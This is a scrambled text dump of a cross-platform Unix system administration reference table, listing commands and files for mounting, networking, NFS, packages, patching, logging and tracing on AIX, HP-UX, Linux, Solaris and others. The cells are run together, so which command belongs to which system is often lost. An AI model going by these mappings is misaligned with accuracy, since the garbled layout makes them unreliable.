+ mount -F hsfs -o ro /dev/dsk/c0t6d0s2 /cdrom		mount -t hsfs -r
+ /dev/sr0 /cdrom		 +

mount /dev/disk/cdromXa
+ /mnt
+ mount -t cdfs -o noversion /dev/disk/cdrom3c /cdrom

??mount CDROM
eject CDROM ?(manually)?camcontrol eject devID
+ cdcontrol eject [-f device] 		?ejectejectdiskutil eject /dev/disk1s0
+ /Volumes/theCDmountpoint		?eject cdrom
+ eject cd0
+ eject -n 		cdio eject
+ eject cd0
+ eject /dev/rcd0c 		??eject cdrom ????eject CDROM
create/mount ISO imagemkcd??mkisofs
+ mdconfig; mount		nohup pfs_mountd&;
+ nohup pfsd&;
+ pfs_mount -t iso9660 -x unix pathToIso mountPoint 		mkisofs (freeware) +

mkisofs

+

mount -o loop pathToIso
+ mountPoint

hdiutil?makefs -t cd9660
+ image_file directory;
+ vnconfig -c vnd0
+ image_file;
+ mount -t
+ cd9660 /dev/vnd0a mountPoint		 +

mkhybrid -o image.iso dir

+

vnconfig vnd0 image.iso && mount -t cd9660 /dev/vnd0c + mountPoint
+

?? +

mkisofs2;DEVICE=`lofiadm -a /absolute_pathname/image.iso` + ; mount -F hsfs -o ro
+ $DEVICE

????create/mount ISO image
ACL managementaclget
+ aclput
+ acledit
+ ls -e		??getfacl
+ setfacl
+ {get,set}{f,p}mac		lsacl
+ chacl
+ getacl
+ setacl 		+

chacl

+

(see man acl)

getfacl
+ setfacl 		chmod
+ fsaclctl (-10.6) 		?n/a???getfacl
+ setfacl 		????ACL management
Fibre Channel / SAN fcstat
+ lscfg -vl fcs0
+ lsattr -El fcs0 		??mptutil (8.0+)
+ showmount		scsimgr (11.31+)
+ fcmsutil
+ fcdlist
+ tdutil
+ tdlist
+ tddiag		cmgr
+ cxfs-config
+ cxfsmgr
+ cxfs_info

systool

+

multipath

??(treat as SCSI device) ???cfgadm
+ luxadm
+ stmsboot
+ mpathadm
+ fcinfo		????Fibre Channel / SAN
TASK \ OS AIXA/UXDG/UXFreeBSDHP-UXIRIXLinux
+ 		Mac OS XNCR UnixNetBSDOpenBSDReliantSCO OpenServer
+ 		SolarisSunOS 4Tru64
+ 		UltrixUNICOSOS / TASK 
NFS share definitions/etc/exports
+ /etc/xtab 		/etc/exports/etc/exports/etc/exports/etc/exports
+ /etc/dfs/dfstab (11.31+)		/etc/exports/etc/exportsNetInfo: /exports
+ Netinfo: /config/SharePoints		/etc/dfs/dfstab
+ dfshares		/etc/exports/etc/exports/etc/dfs/dfstab
+ /etc/dfs/sharetab		/etc/exports/etc/dfs/dfstab
+ dfshares 		/etc/exports /etc/exports?/etc/exportsNFS share definitions
NFS share commandexportfs -a
+ mknfsexp		/usr/etc/exportfs -a exportfs -akill -s HUP `cat /var/run/mountd.pid`exportfs -a
+ share (11.31+)
+ shareall (11.31+)
+ share_nfs (11.31+)		exportfs -a/etc/init.d/nfs-server reload
+ (rh) exportfs -a		kill -s HUP `cat /var/run/mountd.pid`share
+ shareall 		kill -s HUP `cat /var/run/mountd.pid`
+ /etc/rc.d/mountd reload 		kill -HUP `cat /var/run/mountd.pid`share
+ shareall		exportfs -a
+ /etc/nfs start		share
+ shareall		exportfs -a /sbin/init.d/nfs start; /sbin/init.d/nfsmount + start?exportfs -aNFS share command
NFS informationnfsstat
+ nfso -as 		/usr/etc/nfsstatnfsstatnfsstatnfsstatmount | grep nfscat /proc/mountsnfsstat?nfsstatnfsstat?showmount
+nfsstat		 +

showmount
+ nfsstat

????NFS information
name resolution order/etc/netsvc.conf?/etc/netsvc.conf/etc/host.conf (4-)
+ /etc/nsswitch.conf (5+)		/etc/nsswitch.conf6+: /etc/nsswitch.conf
+ 5.3: /etc/resolv.conf		/etc/nsswitch.conf
+ /etc/resolv.conf		NetInfotcpconfig
+ /etc/netconfig 		/etc/nsswitch.conf
+ /etc/resolv.conf (obsolete)		/etc/resolv.conf/etc/netconfig/etc/resolv.conf/etc/nsswitch.conf
+ getent 		(hardcoded
+ into libc)		 +

/etc/nsswitch.conf
+ /etc/svc.conf (obsolete)

?/etc/hosts.usenamedname resolution order
show network interface infoifconfig -a
+ no -a
+ netstat -i
+ netstat -v
+ lsattr -E -l entX		netstat -i
+ /etc/ifconfig -a 		netstat -i
+ ifconfig 		ifconfig -anwmgr (11.31+)
+ lanadmin
+ landiag
+ lanscan
+ netstat -in
+ ifconfig lanx		/usr/etc/ifconfig -a
+ netstat -ia		ifconfig
+ ethtool 		ifconfig -a
+ netstat -a 		ifconfig -a
+ ildconfig
+ netstat -in		ifconfig -a
+ netstat -in		ifconfig -Aifconfig -a
+ inetstat -in
+ etherstat
+ cmxinfo 		+

ifconfig -a
+ netstat -in
+ Network Config. Mgr. (GUI)

dladm
+ ndd
+ ifconfig -a
+ netstat -in
+ dladm
+ (8+) kstat -n hme0 | egrep 'ifspeed|duplex' 		ifconfig -a +

ifconfig -a
+ netstat -in
+ hwmgr get attribute
+ -category network

ifconfigifconfig -a
+ netstat -in		show network interface info
change IP +

smitty chinet

+

chdev -a netaddr=
+ newIP -I en#

+

mktcpip

ifconfig
+ edit /etc/NETADDRS 		sysadmedit /etc/rc.conf (option ifconfig_interfacename)
+
+ ifconfig		/sbin/set_parms initial
+ ifconfig 		edit: /etc/{hosts,
+ sys_id,
+ resolv.conf,
+ TIMEZONE},
+ /etc/config/
+ {static-route.options,
+ ifconfig-1.options};
+ reboot		 +

ifconfig
+ (rh) redhat-config-network
+ (fedora) system-config-network
+ (rh) edit: /etc/hosts,
+ /etc/sysconfig/network,
+ /etc/sysconfig/
+ network-scripts/
+ ifcfg-eth0
+ (deb) edit
+ /etc/network/interfaces;
+ /etc/init.d/networking
+ restart

System Preferences: Network
+ NetInfo		ifconfig
+ tcpconfig

edit /etc/rc.conf (ifconfig*)

+

edit /etc/ifconfig.interface

ifconfig

+

edit /etc/hostname.driver

sysadm
+ ifconfig (temp.)
+ vi /etc/default/inet		 +

ifconfig

+

netconfig

 +

edit: /etc/{resolv.conf, hosts, hostname.*, netmasks, nodename, +
+ dumpadm.conf, inet/ipnodes, net/*/hosts}

+

sys-unconfig; reboot (this is overkill for a simple IP or hostname + change)

edit /etc/hosts
+ /etc/hostname.* 		(4.x) netsetup
+ (5.x) sysman net_wizard or
+ netconfig		? +

netconfig
+ ifconfig
+ initif

+

/etc/install/install

change IP
start DHCP clientdhcpcdn/adhcpddhclient?proclaimdhcpcd
+ dhclient		??dhclient

dhclient interface
+ (runtime)

+

add dhcp to
+ /etc/hostname.driver
+ (boot time)

??ifconfig interface dhcp?dhcpconf interface start ??start DHCP client
ping one packet  ping -c 1 hostname  /usr/etc/ping hostname packetsize 1 ping -s -c 1 hostname  ping -c 1 hostname  ping hostname 10 1 (9)
+ ping hostname -n 1 (10+)		/usr/etc/ping -c 1 hostname  ping -c 1 hostname ping -c 1 hostnameping -c 1 hostname ping -c 1 hostname ping -c 1 hostnameping -c 1 hostnameping -c 1 hostnameping hostname  packetsize + 1ping hostname
+ packetsize 1		ping -c 1
+  		? ping hostnameping one packet 
sniff networkiptrace
+ ipreport		?tcpdumptcpdump +

nettl
+ netfmt

snoop
+ tcpdump 		etherfind
+ tcpdump
+ wireshark (formerly ethereal)
+ etherape		tcpdumptcpdump
tcpdumptcpdumptcpdump?snoopetherfindtcpdump??sniff network
route definitions netstat -r
+ route
netstat -r sysadmedit /etc/rc.conf (option defaultrouter)
+ netstat -r
+ route		/etc/rc.config.d/netconf
+ netstat -r 		/etc/config/
+ static-route.options		route
+ (rh) /etc/sysconfig/network
+ (rh) /etc/sysconfig/static-routes
+ (deb) /etc/init.d/network
+ (deb) /etc/network		netstat -rtcpconfig
+ /etc/inet/defaultrouter
+ /etc/inet/gate*
+ netstat -r		 +

netstat -r
+ route show
+ /etc/rc.conf
+ /etc/mygate

 +

netstat -r
+ route show
+ /etc/mygate

netstat -rnetstat -r +

/etc/defaultrouter
+ /etc/notrouter
+ /etc/gateways
+ in.routed
+ netstat -r
+ route add

/etc/defaultrouter
+ (kernel tweak or
+ adb to diable
+ forwarding) 		/etc/routes ? netstat -rroute definitions 
telnetd, ftpd banner/etc/security/login.cfg/etc/issue?/etc/ftpwelcome/etc/inetd.conf (telnet)/etc/issue/etc/issue.net (telnet)
+ (ftp varies; can use tcp wrappers)		/etc/ftpwelcome/etc/issue
+ ~ftp/etc/issue
+ ~ftp/etc/msgs/welcome		/etc/motd
+ /etc/ftpwelcome
+ /etc/issue if enabled via if= in /etc/gettytab
/etc/issue.net
+ /etc/ftpwelcome 		/etc/issue?/etc/default/telnetd
+ /etc/default/ftpd		n/a/etc/issue?/etc/issue
+ /etc/motd 		telnetd, ftpd banner
set date/time
+ (from net: ntp or other)		ntpdatedate?date
+ adjkerntz
+ ntp
+ tzsetup
+ (obs) timed		ntpdatetimeslaventpdate
+ rdate
+ netdate 		System Preferences/
+ Date & Time 		?date
+ ntpdate
+ ntpd
+ timed (obs)		date
+ rdate
+ ntpd
+ timed		??ntpdate
+ rdate 		?ntpdaterdate?set date/time
+ (from net: ntp or other)
TASK \ OS AIXA/UXDG/UXFreeBSDHP-UXIRIXLinux
+ 		Mac OS XNCR UnixNetBSDOpenBSDReliantSCO OpenServer
+ 		SolarisSunOS 4Tru64
+ 		UltrixUNICOSOS / TASK 
auditingaudit
+ auditpr
+ auditselect
+ lsaudrec		??auditdaudisp
+ audevent
+ audomon
+ audsys		satd
+ satconfig
+ sat_reduce
+ sat_interpret

(2.6+) auditd
+ /var/log/faillog
+

???

mtree

+

/etc/security
+ (run nightly)

??audit
+ auditd
+ auditreduce
+ praudit		    auditing
encrypted passwords in /etc/security/passwd/etc/shadow/etc/shadow/etc/master.passwd/etc/passwd (not Trusted)
+ /.secure/etc/passwd (Trusted 9)
+ /tcb/files/auth/
+ (10+)
+ /etc/shadow (11.22+)		/etc/shadow/etc/shadow (may vary)NetInfo/etc/shadow/etc/master.passwd (/etc/spwd.db)/etc/master.passwd (/etc/pwd.db)/etc/shadow/etc/shadow/etc/shadow/etc/passwd/tcb/files/auth (only with Enhanced Security)/etc/shadow/etc/udbencrypted passwords in 
min password length /etc/security/user??/etc/login.conf/etc/default/security?/etc/pam.d/system-auth???/etc/login.conf??/etc/default/passwd????min password length
allow/deny root
+ logins		/etc/security/user?/etc/default/login/etc/login.access
+ /etc/ttys		 /etc/securetty /etc/default/login/etc/securetty
/etc/ttys (doesn't affect ssh)/etc/default/login/etc/ttys/etc/ttys/etc/default/login/dev/default/login/etc/default/login/dev/ttytab/etc/securettys/etc/securettysudbrestrict -Rallow/deny root
+ logins
firewall configgenfilt
+ smitty ipsec4
+ wsm network 		??ipfw
+ ipf +
+ pfctl		/etc/opt/ipf/ipf.conf/etc/ipf.confiptables
+ ipchains
+ ipfwadm
+ (rh) redhat-config-
+ securitylevel 		Aqua / System Prefs /
+  Sharing / Firewall
+ ipfw 		? +

ipf
+ /etc/ipf.conf
+ /etc/ipf6.conf

+

pfctl (3.0+)
+ /etc/pf.conf (3.0+)

pfctl
+ /etc/pf.conf 		??

(10+) ipf, ipfs, ipfstat
+ /etc/ipf/ipf.conf

+

(9+) /usr/aset/ (hardening tool)
+ (9) SunScreen 3.2 +

????firewall config
TASK \ OS AIXA/UXDG/UXFreeBSDHP-UXIRIXLinux
+ 		Mac OS XNCR UnixNetBSDOpenBSDReliantSCO OpenServer
+ 		SolarisSunOS 4Tru64
+ 		UltrixUNICOSOS / TASK 
show installed software lslpp -L
+ lssrc		?pkginfopkg_info
+ ls /var/db/pkg
+
+
rmfn, what (HP-UX 9)
+ swlist (HP-UX 10+)
+ swm list (11.31+)		 +

versions
+ showfiles
+ showprods

(rh) rpm -a -i
+ (rh) rpm -qa
+ (rh) yum list installed
+ (deb) dselect
+ (deb) aptitude
+ (deb) dpkg -l
+ (gen) ls /var/db/pkg/*
+ (gen) eix -I		 +

ls /Applications
+ Apple System Profiler
+ system_profiler
+ ls /Network/Applications
+ /Network/Users/*/
+ Applications
+ /Users/*/Applications

displaypkg
+ pkginfo 		 pkg_info pkg_infopkginfo -l
+ sysadm		 +

swconfig (OpenServer 5)
+ displaypkg
+ pkginfo

pkginfo
+ prodreg
+ admintool
+ /var/sadm/install/contents		? setld -i? ?show installed software 
file is in which package lslpp -w file
+ rpm -qif file		??pkg_info -W fileswlist -l file | grep fileversions long |
+ grep file		(deb) dpkg --search file
+ (deb) apt-file update && apt-file search file
+ (rh) rpm -qif file
+ (gen) equery b file
+ (gen) qfile file 		??pkg_chk
+ pkg_info -Fe file		pkg_info -E file??pkgchk -l -p binaryToCheck????file is in which package
add software +

smitty install
+ rpm -ihv
+ installp -acgxYd /sourcedir [fileset|ALL]

n/a (no package system) sysadmsysinstall
+ /usr/ports make
+ pkg_add

swm install (11.31+)
+ swinstall		inst
+ swmgr 		(rh) rpm -hiv
+ (rh) yum install pkg
+ (deb) dselect
+ (deb) apt-get install pkg
+ (deb) dpkg -i
+ (md) urpmi
installpkg
+ drag-and-drop
+ /Applications/ Utilities/
+ Installer		pkgadd
+ pkgplus 		pkg_add
+ /usr/pkgsrc && make		pkg_add
+ /usr/ports && make		pkgadd
+ sysadm 		+

custom
+ installpkg
+ SCOadmin (GUI)

pkgadd?setld -l??add software
precompiled binaries + of GPLware and freewareperzl.org/aix/
+ www-1.ibm.com/servers/
+ aix/products/aixos/linux/
+ download.html
+ aixpdslib.seas.ucla.edu/
+ aixpdslib.html
+ bullfreeware.com
see FAQ http://www.signal42.com/
+ xfree86/4.2.0/binaries/
+ DGUX-ix86/		ftp.freebsd.org/
+ pub/FreeBSD
+ www.freebsd.org 		+

hpux.cs.utah.edu

+

hpux.connect.org.uk

 +

freeware.sgi.com
+ www.sgi.com/fun
+ nekochan.net

www.linux.org
+ linux.tucows.com
+ sourceforge.net
+ rpmfind.net
+ (deb) ftp.debian.org
+ (deb) packages.debian.org
+ (gen)packages.gentoo.org3
+ (gen)gentoo-portage.com3 +
+(md)easyurpmi.zarb.org
 +

fink.sourceforge.net

+

darwinports.opendarwin
+ .org

+

darwinports.com

?

ftp://ftp.netbsd.org/pub/
+ NetBSD/packages

+

ftp://ftp.NetBSD.org/
+ pub/pkgsrc

ftp://ftp.openbsd.org/
+ pub/OpenBSD/<version>/
+ packages		data.mobach.nl/sinixwww.caldera.com/
+ skunkware		www.sunfreeware.com
+ www.blastwave.org		?www.tru64unix.compaq.com/
+ demos
+ tpegsrvr.zk3.dec.com/
+ freeware/tbl_packages.html		??precompiled binaries of GPLware and freeware
C compiler /usr/ibmcxx/bin/cc
+ /usr/vac/bin/cc ($)		cc
+ /usr/local/gnu/gcc		/usr/sde/default/usr/bin/cc
+ gcc 		/usr/bin/cc (gcc)
+ /usr/bin/clang (9.0+)		/opt/softbench/bin/cc ($)
+ /bin/cc (9)
+ /usr/bin/cc (10+; not necessarily ANSI; kernel builder only)		/opt/MIPSpro/
+  bin/cc ($)
+ /usr/bin/cc		cc
+ gcc		/usr/bin/cc (gcc)/usr/bin/cc
+ (Metaware) 		 /usr/bin/cc (gcc) /usr/bin/cc/usr/bin/cc/usr/bin/cc/opt/SUNWspro/
+  bin/cc2		/usr/bin/cc/usr/bin/cc /usr/bin/cc/opt/ctl/bin/ccC compiler 
show patch level
+ and/or patches 		instfix -ivq
+ oslevel -s		?what /dguxuname -aswm list (11.31+)
+ swlist -l product |
+ grep PHsomeString		 +

versions -b | grep patch
+ uname -R (6.5+)

(rh) rpm -q
+ (rh) cat /proc/version
+ (rh) cat /etc/redhat-release
+ (deb) dpkg -s		sw_vers
+ Apple:About This Mac
+ ls /Library/Receipts
+ uname -a
+ lsbom
+ cat /System/Library/
+ CoreServices/
+ SystemVersion.plist 		pkginfo -lcat /kern/version
+ uname -a
+ /etc/release 		sysctl -n kern.versionuname -a
+ pkginfo | grep EKS		swconfig -Pshowrev -p
+ prodreg (2.6+)
+ patchadd -p
+ cat /etc/release		showrev -p
+ (if you're lucky) 		dupatch -track -type kit
+ dupatch -track -type patch
+ setld -i | grep patchname
+ sizer -vB		??show patch level
+ and/or patches
patch tool installp
+ smitty update_all 		?dg_sysreport -p patches

csup (6.2+)
+ freebsd-update (7+)

+

cvsup or cvs to update,
+ then rebuild

update (9)
+ swinstall (10+)		inst
+ swmgr 		apt-get update
+ apt-get upgrade
+ (rh) up2date
+ (rh) yum update
+ (md) urpmi		System Preferences / Software Update
+ softwareupdate 		pkgadd
+ pkgplus		cvs
+ patch 		cvs
+ cvsup
+ sup
+ cvsync
+ patch
+ pkg_add		pkgadd
+ sysadm		pkgadd; pkgrm installpatch (2.5.1-)
+ patchadd (2.6+)
+ pkgadd; pkgrm
+ /usr/sadm/bin/smpatch (9+)
n/asetld -i
+ dupatch		? ?patch tool 
configure/show
+ runtime linking
+ fortran-2000.com/
+ ArnaudRecipes/
+ sharedlib.html 		dump -H
+ ldd 		??ldd
+ ldconfig
+ kldstat 		chatr
+ ldd (11+)
+ kmadmin		ldd
+ rld
+ _RLD_LIST		ldconfig
+ ldd
+ lsmod 		otool -Lldd
+ ldconfig 		ldd
+ nm
+ ldconfig 		ldd
+ ldconfig 		ldd?crle
+ ldd
+ pldd
+ modinfo
+ LD_PRELOAD		lddodump -Dl
+ ldd		??configure/show
+ runtime linking
+ fortran-2000.com/
+ ArnaudRecipes/
+ sharedlib.html
link library path$LIBPATH?$LIBPATH$LD_LIBRARY_PATH$LD_LIBRARY_PATH
+ (64-bit)
+ $SHLIB_PATH
+ (32- or 64-bit) 		$LD_LIBRARY_PATH
+ $RLD*_PATH 		$LD_LIBRARY_PATH
+ /etc/ld.so.conf 		+

$DYLD_LIBRARY_PATH
+ man dyld

$LD_LIBRARY_PATH$LD_LIBRARY_PATH
+ /etc/ld.so.conf 		$LD_LIBRARY_PATH$LD_LIBRARY_PATH?$LD_LIBRARY_PATH
+ (7+ deprecated in favor of crle)		$LD_LIBRARY_PATH$LD_LIBRARY_PATH?$LDPATHlink library path
tracing utility probevue (6+)
+ trace
+ syscalls
+ truss
+ watch 		??=dg_strace
+ (>=4.20MU06) 		ktrace
+ truss
+ dtrace (8+)		caliper fprof
+ caliper ktrace
+ trace (freeware)
+ tusc (11+, freeware) 		par
+ prfstat
+ SystemTap (freeware)
+

strace
+ ltrace

ktrace; kdump (<=10.4)
+ dtruss; dtrace (>=10.5)
+ fs_usage 		trussktrace
+ ktruss
+ kdump 		ktrace
+ kdump
+ systrace		truss
+ scstat		truss +

truss
+ sotruss
+ dtrace (10+)

tracetrace
+ truss		? cdbx
+ jumptrace 		tracing utility 
define user defaults/etc/security/
+ mkuser.default
+ /etc/environment 		/etc/profile
+ /usr/lib/skel		admuser -o set/etc/login.conf/etc/default
+ /etc/PATH
+ /etc/MANPATH
+ /etc/default/* 		+

/etc/default/login
+ /etc/profile
+

/etc/profile
+ /etc/security/
+ /etc/skel/
+ /etc/profile.d/*		/usr/bin/defaults/etc/default/login
+ /etc/profile
+ /etc/security/ 		/etc/profile
+ /etc/skel/*
+ login.conf		 +

/etc/profile
+ /etc/skel/*
+ /etc/login.conf

/etc/default/login
+ /etc/profile
+ $HOME/.profile 		?/etc/default/login
+ /etc/profile
+ /etc/security/ 		/etc/profile/etc/skel
+ /etc/profile 		/etc/skel
+ /etc/profile		udbgen
+ nu scripts		define user defaults
csh global .login/etc/csh.login??/etc/csh.login/etc/csh.login/etc/cshrc/etc/csh.login/etc/csh.login/etc/.login/etc/csh.login/etc/csh.login??/etc/.login?/etc/csh.login?/etc/logincsh global .login
default syslog and messages/var/adm/syslog
+ /var/adm/messages 		?/var/adm/messages/var/log/messages/var/adm/syslog/syslog.log
+ /var/adm/sulog
+ /var/spool/mqueue/syslog		/var/adm/SYSLOG
+ /var/adm/sulog 		/var/log/syslog
+ /var/log/messages
+ /usr/adm/messages
+ /var/log/maillog 		/var/log/system.log/var/adm/streams
+ /var/adm/usererr
+ /etc/.osm 		/var/log/messages/var/log/messages/var/adm/log/messages/usr/adm/syslog
+ /var/adm/log/osmlog

/var/adm/messages
+ /var/log/syslog
+ softpanorama.org/Logs/solaris_logs.shtml
+

+

/var/adm/messages

+

/var/log/syslog (sendmail)

(4.x+) /var/adm/messages
+ /var/adm/syslog.dated (kern, auth, daemon, lpr, syslog, user)
+ /var/adm/binary.errlog 		/var/adm/messages
+ /var/adm/syslog.dated (kern, auth, daemon, lpr, syslog, user)
+ /var/adm/binary.errlog		/usr/adm/messagesdefault syslog and messages
system error reporting + tool errpterrptadmsyslog -o reportdmesg
+ send-pr 		evmshow (11.31+)
+ smh (11.31+)
+ dmesg
+ sysdiag (9 and early10)
+ stm/cstm/mstm/xstm (10.20+)
+ EMS (from support CD)		sysmon
+ amsyslog
+ availmon
+ eventmond
+ imdmonitor
+ syserrpanel 		+

dmesg

+ (deb) reportbug		Console
+ /var/log/crash.log, dmesg		odm
+ errpt 		dmesg
+ cat /kern/msgbuf
+ send-pr		dmesg
+ sendbug		sysadm
+ log3
+ WebSysAdmin		dmesgprtdiagdmesg(4.x) uerf; dia (DECevent)
+ (5.x) (System errors) EVM (evmget; evmshow)
+ (Hardware errors) dia; ca (Compqaq analyze)		uerferrptsystem error reporting + tool 
performance monitoring +

ftp://ftp.software.ibm.com/
+ aix/tools/perftools/perfpmr

+

vmstat; iostat; sar; filemon; topas; trace; svmon; netpmon;
+ proctree +

?sar
+ netstat
+ uustat 		fstat; nfsstat; systat; vmstat; netstat; + uustat; top; iostat;
+ gstat		glance
+ gpm
+ caliper
+ top; sar; vmstat;
+ iostat; nfsstat; netstat;
+ uustat; Glance($)
+ ptree (11.31+) 		pcp; dkstat; pmkstat;
+ sar; osview; gr_osview;
+ ecstats; linkstat; netstat;
+ nfsstat; nfsvis; nodevis;
+ routervis; nstats; top		vmstat
+ procinfo -D
+ top
+ htop
+ pstree		vm_stat; nfsstat;
+ fs_usage; sc_usage;
+ top
+ Activity Monitor (10.3+)
+ Process Viewer (10.2-)		sar; pinfo -v;
+ modstat; netstat;
+ nfsstat; pppstat;
+ smtpstat; snmpstat;
+ uustat; top
iostat; netstat; systat;
+ vmstat; top; fstat;
+ nfsstat		fstat; iostat;
+ netstat; + nfsstat; pstat;
+ systat; top;
+ vmstat; 		vmstat; mpstat; dkstat;
+ sar; netstat; scstat		sar +

sar; iostat; kstat;
+ mpstat; netstat; nfsstat;
+ prstat; trapstat; vmstat; ptree
+

iostat; netstat; vmstatiostat; nfsstat; vmstat
+ /usr/opt/sv4b/bin/sar
+ monitor 		iostat; nfsstat; vmstat
+ /usr/opt/sv4b/bin/sar		 +

sar; xsar; tsar; xsam;
+ xscc; xns; xnetmon;
+ nfsstat; perfmon; ja;
+ mppview; xmppview;
+ sam; csam

performance monitoring
match process to file or portprocfiles (5.2+, files only)?fuser sockstatlsof
+ fuser 		fuserlsof
+ netstat -atup		lsoffuserfstat
+ sockstat		fstatfuser?fuser
+ lsof2
+ pfiles 		????match process to file or port
collect various logs??????(rh)sysreport; sosreport??????/opt/SUNWexplo/bin/explorer????collect various logs
X pop-up/usr/dt/bin/dterror.ds??/usr/local/bin/xmessage/usr/dt/bin/dterror.ds/usr/bin/X11/xconfirm/usr/X11R6/bin/xmessageosascript -e 'tell application "Finder" to display dialog "msg"'?xmessage/usr/X11R6/bin/xmessage??/usr/dt/bin/dterror.ds????X pop-up
Wikipedia AIXA/UXDG/UXFreeBSDHP-UXIRIXLinux
+ 		Mac OS XNCR UnixNetBSDOpenBSDReliantSCO UnixWare
+ 		SolarisSunOS 4Tru64
+ 		UltrixUNICOSWikipedia
FAQs (see also faqs.org)www.faqs.org/faqs/
+ aix-faq/part1/
+ preamble.html		christtrekker.users.sourceforge.net/
+ doc/aux/faq.html		www-csc.dg.com/csc/
+ dguxfaqs1.asp		www.freebsd.org/doc/
+ en_US.ISO8859-1/books/faq		www.faqs.org/faqs/
+ hp/hpux-faq/preamble.html		techpubs.sgi.com/library/
+ tpl/cgi-bin/browse.cgi?coll=0650
+ &db=FAQ		 +

www.linuxdoc.org/
+ FAQ/Linux-FAQ

+

www.debian.org/doc/
+ FAQ

 +

www.darwinfo.org/
+ faq.shtml

+

www.macosxhints.com

?www.netbsd.org/
+ docs		www.openbsd.org/faq?pcunix.com/SCOFAQ/http://opensolaris.org/os/about/faq/
+ www.faqs.org/faqs/Solaris2/
+ FAQ/
+ www.faqs.org/faqs/Solaris2/
+ x86/FAQ/
+ www.stokely.com/
+ unix.sysadm.resources/
+ faqs.sun.html
+ sunhelp.org 		www.faqs.org/faqs/
+ comp-sys-sun-faq/		www2.tru64.org/faq/
+ tru64_faq.php		www.supelec.fr/decus/
+ faq/faq-ultrix.html		www.spikynorman
+ .net 		FAQs (see also faqs.org)
blogs????? linuxmoz.com???????????blogs
mailing list AIX-L@pucc.
+ princeton.edu
+ (LISTSERV)		n/a? +lists.freebsd.org/mailman/listinfo
+ 		hpux-admin@
+ dutchworks.nl
+  (majordomo)
+ hp-ux-l		? +

www.linumanagers
+ .org

+

www.linux.org/
+ help/lists.html

lists.apple.com?www.netbsd.org/
+ MailingLists 		www.openbsd.org/
+ mail.html 		??sun-managers@sunmanagers
+ .org (majordomo)		sun-managers@
+ sunmanagers
+ .ececs.uc.edu
+ (majordomo)		tru64-unix-man
+ agers@ornl.gov   (majordomo)
+ http://www.ornl.gov/its/archives/
+ mailing-lists/		decstation-man
+ agers@ornl.gov
+  (majordomo)		?mailing list 
mailing list archives  +

www.marist.
+ edu/htbin/wlvindex?
+ ADSM-L

+

marc.theaimsgroup.com/
+ ?l=aix-l&r=1&w=2

n/a?lists.freebsd.org/mailman/listinfowww.dutch
+ works.nl/
+  htbin/hpsysadmin 		? www.linuxmanagers.org/
+ pipermail/linuxmanagers
+ lists.debian.org		lists.apple.com?www.netbsd.org/
+ MailingLists 		www.openbsd.org/
+ mail.html 		?? +

www.sunmanagers.org/
+ archives.html

+

www.latech.
+ edu/sunman.html

www.latech.
+ edu/sunman.html 		www-archive.
+ ornl.gov:8000		www-archive.
+ ornl. gov:8000		?mailing list archives 
+

man pages

+

www.freebsd.org/
+ cgi/man.cgi

publib.boulder.ibm.com/
+ infocenter/aix/v6r1/index.jsp?
+ topic=/com.ibm.aix.doc/doc/
+ base/commandsreference.htm

+ 		n/a?man.freebsd.org
+ 		docs.hp.com/en/hpuxman_pages.html
+ hpuxman_pages.html		techpubs.sgi.com/
+ library/tpl/cgi-bin/browse.cgi?
+ coll=&db=man		 +

www.linuxmanpages.com/

+

Fedora Core 4:
+ linuxcommand.org/
+ superman_pages.php

+

www.tldp.org/docs.html#man

developer.apple.com/
+ documentation/Darwin/
+ Reference/ManPages		?man.netbsd.orgwww.openbsd.org/cgi-bin/man.cgi?uw714doc.sco.com/en/Navpages/docs.sun.com/
+ app/docs/
+ coll/40.10		???? +

man pages

+

www.freebsd.org/
+ cgi/man.cgi

newsgroup(s) and forums
+ groups.google 		comp.unix.aix
+ www.thp.uni-duisburg.de/
+ cuaix/cuaix.html		comp.unix.auxcomp.os.aoscomp.unix.bsd
+ freebsd.misc
forums.freebsd.org		comp.sys.hp.hpux comp.sys.sgi.admin comp.os.linux.* (esp .answers)comp.sys.mac.*comp.sys.ncrcomp.unix.bsd.
+ netbsd.misc 		comp.unix.bsd.
+ openbsd.misc
+ lucky.openbsd.misc 		de.comp.os.unix.sinixcomp.unix.sco.misccomp.sys.sun.
+ admin, comp.unix.solaris 		comp.sys.sun
+ admin 		comp.sys.dec, + comp.unix.tru64comp.unix.ultrixcomp.unix.cray +

newsgroup(s) and forums
+ groups.google

user groupswww.userblue.orgn/a?www.freebsd.org/
+ support.html#user 		connect-community.org
+ hp-interex.com
+ encompassus.org
+ hptechnologyforum.com
+ forums.itrc.hp.com
+ HP DSPP		?www.debianhelp.orgwww.apple.com/
+ usergroups
+ www.omnigroup.com/
+ developer/mailinglists
+ www.themacintoshguy.
+ com/lists/X.html 		?www.netbsd.org/gallery/
+ groups.html		undeadly.org??opensolaris.org/os/community/
+ advocacy/usergroups/ug-leaders/		?Encompass/DECUS?www.cug.org
+ www.excray.com 		user groups
magazines +

n/a

n/a?
+daemonnews.org
+ bsdmag.org +
+ freebsdnews.net		www.hpchronicle.com
+ www.interex.org/hpuxusr
+ www.hppro.com		www.sgi.com/support/
+ pipeline.html		www.linuxjournal.com
+ www.linux-mag.com
+ www.debianplanet.org 		www.macworld.com
+ www.stepwise.com		?www.daemonnews.comundeadly.org??www.sunworld.com
+ sun.com/sun-on-net/itworld 		?www.tru64.org??magazines
vendor home pagewww.developer.ibm.com/
+ tech/map/aixrm.html
+ www-941.ibm.com/
+ collaboration/
+ wiki/display/WikiPtype/Home
+ 		n/a +

www-csc.dg.com/
+ csc/default.asp

www.freebsd.orghp.com/go/hpuxwww.sgi.com/software/
+ software.html#IRIX 		www.linux.org
+ www.debian.org
+ gentoo.org
+ www.redhat.com
+ (SUSE) www.novell.com/linux		www.apple.comncr.com
+ teradata.com 		www.netbsd.orgwww.openbsd.orgwww.fujistu-siemens.comwww.caldera.com/
+ products/openunix		sun.com/solaris
+ sun.com/bigadmin
+ sun.com/developers/support
+ soldc.sun.com
+ access1.sun.com
+ opensolaris.org		?www.tru64unix
+ .compaq.com		www.supelec.fr/decus/
+ faq/faq-ultrix.html		www.cray.comvendor home page
vendor docs and patches + (see also man pages) +

www.redbooks.ibm.com
+ www.ibm.com/
+ developerworks/aix
+ techsupport.services.
+ ibm.com/
+ server/support?
+ view=pSeries

?www-csc.dg.com/csc/
+ custdocsasp/
+ custdocs2.asp?
+ category=069docs.asp		www.freebsd.org/handbook
+ www.freebsd.org/releases/		 +

software.hp.com
+ docs.hp.com
+ itrc.hp.com

 +

techpubs.sgi.com
+ www.sgi.com/
+ support/patch_intro.html
+ support.sgi.com
+ relnotes
+ grelnotes

+

tldp.org

+

www.linuxdoc.org/
